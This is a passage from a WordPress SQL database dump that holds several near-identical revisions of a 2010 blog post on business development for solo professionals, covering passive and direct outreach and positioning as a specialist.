audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\nI suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.  Remember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-5', '', '', '2010-08-02 15:39:18', '2010-08-02 22:39:18', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-5/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1009, 2, '2010-08-02 15:40:40', '2010-08-02 22:40:40', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2>I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-6', '', '', '2010-08-02 15:40:40', '2010-08-02 22:40:40', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-6/', 0, 'revision', '', 0),
(1010, 2, '2010-08-02 15:40:56', '2010-08-02 22:40:56', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n\r\nWhen you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. You will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2>These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2>I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-7', '', '', '2010-08-02 15:40:56', '2010-08-02 22:40:56', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-7/', 0, 'revision', '', 0),
(1011, 2, '2010-08-02 15:44:53', '2010-08-02 22:44:53', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-8', '', '', '2010-08-02 15:44:53', '2010-08-02 22:44:53', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-8/', 0, 'revision', '', 0),
(1012, 2, '2010-08-02 15:45:07', '2010-08-02 22:45:07', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, healthcare, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-9', '', '', '2010-08-02 15:45:07', '2010-08-02 22:45:07', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-9/', 0, 'revision', '', 0);
